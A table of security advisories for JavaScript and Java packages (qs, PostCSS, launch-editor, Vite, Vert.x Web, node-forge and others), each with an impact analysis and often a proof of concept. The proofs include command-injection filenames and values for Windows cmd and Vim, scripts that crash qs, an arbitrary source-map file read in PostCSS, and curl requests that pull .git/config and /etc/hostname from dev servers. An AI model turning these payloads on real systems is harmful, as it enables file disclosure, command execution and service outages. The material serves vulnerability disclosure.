| 6.3CVSS 4.0 | GHSA-593m-55hh-j8gv | In triage | 2024-10-03 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact In case a Prototype Pollution vulnerability is present in a user's application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue. > [!NOTE] > This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk. ### Patches The issue was patched in all Sentry JavaScript SDKs starting from the [8.33.0](https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0) version. Also, the fix was backported to SDK v7 in [7.119.1](https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1). ### References * [Prototype Pollution](https://portswigger.net/web-security/prototype-pollution) * [Prototype Pollution gadgets](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets) * [sentry-javascript#13838](https://github.com/getsentry/sentry-javascript/pull/13838) | |
| 6.3CVSS 4.0 | GHSA-65ch-62r8-g69g
CVE-2025-66030 |
Resolved | 2025-11-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary **MITRE-Formatted CVE Description** An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. ### Description An ASN.1 OID Integer Truncation vulnerability exists in the node-forge `asn1.derToOid` function within `forge/lib/asn1.js`. OID components are decoded using JavaScript's bitwise left-shift operator (`<<`), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error. ### Impact This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls. This vulnerability impacts the `asn1.derToOid` function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises. | |
| 6.3CVSS 4.0 | GHSA-698v-4r3x-3vcv
CVE-2026-112943 |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed. ### Impact Only apps that match all of the following conditions are affected: - The user uses Windows - An attacker can place a file with the malicious filename containing `&` or `%` - Either of - An attacker can inject an environment variable with a malicious value - An attacker can add a NTFS alternate data stream to the file placed ### Details Unlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables. Because `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file. - If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`. - If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`. - If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%` | |
| 6.3CVSS 4.0 | GHSA-6pq8-jhm2-2vcw | In triage | 2026-10-27 | 5.6 ×95.5 ×205.4 ×14 | ## Summary `qs.stringify(obj, { arrayFormat: 'comma' })` throws an uncaught `TypeError: Cannot convert object to primitive value` when an array in `obj` contains an element that carries an own, non-callable `toString` property (for example `{ a: [ { toString: 'x' } ] }`). A remote, unauthenticated attacker who can influence an object that the application later re-serializes with the comma array format triggers the throw. In a service that lacks a synchronous error boundary around the serialization call, the uncaught exception crashes the worker process, producing a denial of service. ## Root Cause When `arrayFormat: 'comma'` is selected, the comma branch collapses the whole array into a single value via `Array.prototype.join`, or, under `encodeValuesOnly: true`, maps each element through the value encoder before joining. Both paths perform an implicit string coercion (`ToPrimitive` with hint `"string"`) on each element. For an object whose own `toString` is a non-callable value, coercion skips the shadowed non-callable `toString`, falls through to `Object.prototype.valueOf` (which returns the object rather than a primitive), and throws. The comma branch runs this coercion before the per-element null and skip handling in the main loop, so nothing downstream can neutralize the hostile element, and the throw is never caught inside the library. ```text lib/stringify.js (comma-array branch) line 152-154: obj = utils.maybeMap(obj, function (v) { return v == null ? v : encoder(v); }); // encodeValuesOnly path line 156: objKeys = [{ value: obj.length > 0 ? obj.join(',') || null : void undefined }]; // default comma path lib/utils.js line 292: string = String(str); // value encoder coercion reached via the encodeValuesOnly path ``` ## Impact Prerequisites: the application calls `qs.stringify` with `arrayFormat: 'comma'` (a documented, supported option) on an object whose shape can be influenced by attacker input. Attacker-controllable sources include `qs.parse(input, { allowPrototypes: true })`, which retains a `toString` segment (Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set it), `qs.parse(input, { plainObjects: true })`, whose null-prototype elements throw even without a `toString` key (eg, `a[][b]=c`), and `JSON.parse` of a request body, which needs no qs parse option at all. No authentication or user interaction is required. Demonstrated capability: a single request forces an uncaught synchronous `TypeError` in the serialization call. In a naive single-process Node service with no synchronous error boundary, this crashes the process and takes the service offline (availability impact). Under a framework such as Express that traps synchronous handler throws, the plausible outcome is a per-request 500 rather than a full outage; that lower-impact case is noted but not the worst credible supported deployment. There is no confidentiality or integrity impact, no memory unsafety, and no prototype pollution. ## Proof of Concept `Install qs at the affected version (for example 6.16.0) and run the following script with Node.js. No network setup is required; it demonstrates the throw in isolation.` ```js var qs = require('qs'); // Source A: qs.parse with allowPrototypes retains the hostile toString segment qs.stringify(qs.parse('a[0][toString]=x', { allowPrototypes: true }), { arrayFormat: 'comma' }); // Source B: a JSON request body, no qs parse option needed qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma' }); // Also affected: the encodeValuesOnly sub-path qs.stringify(JSON.parse('{"a":[{"toString":"x"}]}'), { arrayFormat: 'comma', encodeValuesOnly: true }); ``` ```text A default-join (allowPrototypes) => THREW: TypeError: Cannot convert object to primitive value B default-join (JSON.parse) => THREW: TypeError: Cannot convert object to primitive value C encodeValuesOnly path => THREW: TypeError: Cannot convert object to primitive value N2 callable toString => NO THROW; output="a=z" N3 isBuffer vector (CVE-2026-82417) => NO THROW; output="a%5Bconstructor%5D%5BisBuffer%5D=x" qs version: 6.16.0 ``` ## Attack Chain 1. **Exposure:** A remote, unauthenticated request reaches an endpoint whose handler eventually serializes attacker-influenced data with `qs.stringify(obj, { arrayFormat: 'comma' })`. 2. **Control:** The attacker supplies data that becomes `{ a: [ { toString: <non-callable value> } ] }`, either via `a[0][toString]=x` parsed with `allowPrototypes`, or via a JSON body `{"a":[{"toString":"x"}]}`. 3. **Path:** In `stringify`, the primitive/buffer guard at `lib/stringify.js:134` is false for an array, so control reaches the comma branch at `lib/stringify.js:149`. 4. **Guard:** On the `encodeValuesOnly` path, the closure `v == null ? v : encoder(v)` at `lib/stringify.js:152-154` passes only `null`/`undefined` through; a non-null object still reaches the encoder. The default path skips that closure entirely and reaches `obj.join(',')` at `lib/stringify.js:156` with no guard at all. 5. **Primitive:** The element is coerced to a string (`Array.prototype.join`, or `String(str)` at `lib/utils.js:292`). `ToPrimitive` skips the non-callable own `toString`, `valueOf` returns the object, and a `TypeError` is thrown. 6. **Result:** The uncaught synchronous exception propagates out of the serialization call, failing the request and, in a service without a synchronous error boundary, crashing the process (denial of service). ## Bypass Evidence This is a different element type on the code path CVE-2026-8723 (GHSA-q8mj-m7cp-5q26) patched, plus the default comma path, which that fix never covered. CVE-2026-8723 addressed a `TypeError` crash on `null`/`undefined` entries in the comma plus `encodeValuesOnly` path. Its fix (commit 21f80b3) wraps the encoder in `function (v) { return v == null ? v : encoder(v); }`, so it only passes `null` and `undefined` through. A non-null element with a hostile own `toString` fails the `v == null` test, so the encoder still runs and still throws; the encodeValuesOnly case (case C above) throws on the exact fixed code. The default comma path (`encodeValuesOnly` unset, the library default) never entered that fix at all: `git log -S "obj.join(','" -- lib/stringify.js` shows no security fix has ever touched the `obj.join(',')` line, and cases A and B throw with `encodeValuesOnly` unset. The related isBuffer hardening for CVE-2026-82417 (commit e83d321) is a different sink at the `lib/stringify.js:134` guard, which is never entered for the array element; the negative control `{a:{constructor:{isBuffer:'x'}}}` serializes cleanly. Disproof attempts that failed: a `valueOf`-only object does not throw (it serializes to `[object Object]`), confirming the trigger is an element with no callable `toString` (an own non-callable `toString`, or a null-prototype object with no `toString` at all, as `qs.parse` produces under `plainObjects`); nested arrays (`{"a":[[{"toString":"x"}]]}`) throw the same way; a callable `toString` serializes cleanly; and the default (non-comma) array format serializes cleanly, confirming the comma format is required. All positive and negative cases were reproduced on the exact published 6.16.0 artifact. ## Affected Versions - `Ecosystem: npm` - `Package: qs` - `Confirmed affected range: >= 6.7.0, <= 6.16.0` - `Latest release checked: 6.16.0 (npm latest; git tag v6.16.0)` - `Fix status: fixed in 6.16.1 (a952e75)` The `arrayFormat: 'comma'` join sink was introduced in qs 6.7.0, so 6.7.0 is the lower boundary; releases before 6.7.0 lack the sink. No released version fixes this vector, and the latest published release (6.16.0) reproduces the throw, so the closed upper bound `<= 6.16.0` covers every affected release. The `encodeValuesOnly` sub-path was added later, but the default comma-join vector already affects 6.7.0, so 6.7.0 governs the lower boundary. ## Suggested Fix The comma array serialization must not allow an implicit string coercion of an array element to throw an uncaught exception. Coercion of each comma element should be performed defensively (for example by wrapping the join and per-element encode so that a coercion failure is caught and handled), and this protection must cover both the default `obj.join(',')` path and the `encodeValuesOnly` encoder path, not only the previously patched `null`/`undefined` case. As an interim mitigation without a code change, applications can avoid `arrayFormat: 'comma'` when serializing data derived from untrusted input, sanitize parsed objects (avoid `allowPrototypes`/`plainObjects` on untrusted input and strip unexpected own properties), or wrap `qs.stringify` calls in a synchronous error boundary so a coercion failure cannot crash the process. Reported by zx (GitHub: @manus-pi). --- ## Independent report by @Lucidsec The following was reported separately, after this advisory, and is merged here as a duplicate. ### Summary In project [qs](https://github.com/ljharb/qs), in versions `>= 6.7.0, <= 6.16.0` (every version that supports `arrayFormat: 'comma'`), `qs.stringify` with `arrayFormat: 'comma'` can throw an uncaught `TypeError: Cannot convert object to primitive value` when an array element has a non-callable own `toString`. It is fixed in 6.16.1. Related: CWE-248 and CWE-704. ### Technical Details `qs.stringify` with `arrayFormat: 'comma'` joins an array at `lib/stringify.js:156` via `obj.join(',')`. An element whose own `toString` is not callable makes `Array.prototype.join` throw. There is no type check and no catch on that path. A second path exists with `encodeValuesOnly`: at `lib/stringify.js:151-154`, `maybeMap` only skips `v == null`, then `lib/utils.js:292` does `String(str)` and throws the same `TypeError` (this second site exists since v6.11.1; before that, the same input throws at `join`). Who can trigger: someone who can shape an array element passed to `stringify`. The host must use non-default `arrayFormat: 'comma'`. Default `arrayFormat` `indices` does not fold arrays and is not affected. A parse-then-stringify path also needs `plainObjects: true` (null-prototype elements from `lib/parse.js:200`) or `allowPrototypes: true` (which Express 4's default query parser, Express 5's `extended` query parser, and body-parser's `extended` urlencoded parser all set). Default `qs.parse('a[0][toString]=x')` returns `{}` because the prototype guard drops `toString`. Direct JSON handed to `stringify` can supply `{"a":[{"toString":"x"}]}`. Cause: the comma fold at `lib/stringify.js:149-156` collapses the array into a single value before the main loop at `lib/stringify.js:172-212`, so `skipNulls` and `strictNullHandling` only ever see the joined value, never individual elements. `isNonNullishPrimitive` / `isBuffer` at `lib/stringify.js:134` inspect the whole value, not each element. A normal object uses `Object.prototype.toString` and becomes `[object Object]`. An own non-callable `toString` is skipped, `valueOf` returns the object, and `join` throws. (The skipped TODO test at `test/stringify.js:684-689` uses a plain `{ b: 1 }` element, which does not throw; it covers the separate question of what comma format should output for object elements, not this crash.) Earlier comma crash fixes did not cover object elements. ### Impact One small input makes that serialization path throw a synchronous, catchable `TypeError`. Behind a framework error boundary (eg, a synchronous Express handler), the request fails with a 500 and the process survives. In a host with no error boundary (eg, a bare `http.createServer` handler), the uncaught exception exits the process (the client sees `ECONNRESET`). Availability only. ### Proof of Concept <details> <summary>Show the proof of concept</summary> Checked on the latest commit that was checked: `07b1d4d82c8f9301c105ea4b94fa2302cfd6e8b4`. Still present. Demonstrated. - Payload `{"a":[{"toString":"x"}]}` throws at `lib/stringify.js:156`. - Baseline `{"a":["x","y"]}` returns 200 with body `a=x%2Cy`. - A plain object element stringifies to `a=%5Bobject%20Object%5D` and does not throw. - `encodeValuesOnly: true` throws via `utils.js:292`. - `plainObjects` parse plus comma throws. </details> ### Suggested Fix Before `join`, map elements with the existing primitive check; skip or replace non-primitives so `join` cannot throw. On the `encodeValuesOnly` path, do not send non-primitives into `String()`. Optionally guard `lib/utils.js:292`. Add new regression tests. | |
| 6.3CVSS 4.0 | GHSA-6rw7-vpxm-498p
CVE-2025-15284 |
False positive | 2025-12-30 | 5.6 ×95.5 ×205.4 ×14 | ### Summary The `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations. **Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly. ### Details The `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`). **Vulnerable code** (`lib/parse.js:159-162`): ```javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } ``` **Working code** (`lib/parse.js:175`): ```javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } ``` The bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays. ### PoC ```javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) ``` **Note on parameterLimit interaction:** The original advisory's "DoS demonstration" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. ### Impact Consistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value. | |
| 6.3CVSS 4.0 | GHSA-fxqj-rqcc-2cmp
CVE-2026-69153 |
Not affected | 2026-08-03 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known. | |
| 6.3CVSS 4.0 | GHSA-h5fg-jpgr-rv9c
CVE-2025-11965 |
Resolved | 2025-10-22 | 5.4 ×11 | # Description There is a flaw in the hidden file protection feature of Vert.x Web’s `StaticHandler` when `setIncludeHidden(false)` is configured. In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases: - **Files under hidden directories**: For example, `/.secret/config.txt` — although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served. - **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible. As a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information. # Steps to Reproduce ```bash 1. Prepare test environment # Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git # Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ``` ```java 2. Implement test server import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler; public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx); // Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false); router.route("/*").handler(staticHandler); vertx.createHttpServer() .requestHandler(router) .listen(8082); } public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ``` ```bash 3. Confirm the vulnerability # Normal file (accessible) curl http://localhost:8082/visible.txt # Result: 200 OK # Hidden file (correctly blocked) curl http://localhost:8082/.git # Result: 404 Not Found # File under hidden directory (vulnerable) curl http://localhost:8082/.git/config # Result: 200 OK - Returns contents of Git config ``` # Potential Impact ## 1. Information Disclosure Examples of sensitive files that could be exposed: - `.git/config`: Git repository settings (e.g., remote URL, credentials) - `.env/*`: Environment variables (API keys, DB credentials) - `.aws/credentials`: AWS access keys - `.ssh/known_hosts`: SSH host trust info - `.docker/config.json`: Docker registry credentials ## 2. Attack Scenarios - Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` — which may allow full reconstruction of source code. ## 3. Affected Scope - **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - **Environments**: All OSes (Windows, Linux, macOS) - **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)` | |
| 6.3CVSS 4.0 | GHSA-mp7j-qc5w-4988
CVE-2026-54490 |
Resolved | 2026-07-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact If this library is used in tandem with the `permessage-deflate` extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. ### Patches The issue has been patched in version 0.7.5, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version. ### Workarounds No known workarounds exist. ### Acknowledgements This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team. | |
| 6.3CVSS 4.0 | GHSA-q8mj-m7cp-5q26
CVE-2026-8723 |
False positive | 2026-05-22 | 5.6 ×95.5 ×205.4 ×14 | ### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main`: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <=6.15.1` The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`). | |
| 6.3CVSS 4.0 | GHSA-r825-w8mm-5pxw
CVE-2026-112944 |
In triage | 2026-10-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ### Impact #### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL #### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL #### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected. | |
| 6.3CVSS 4.0 | GHSA-rq7h-c2jc-7f22 | In triage | 2026-10-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ``` | |
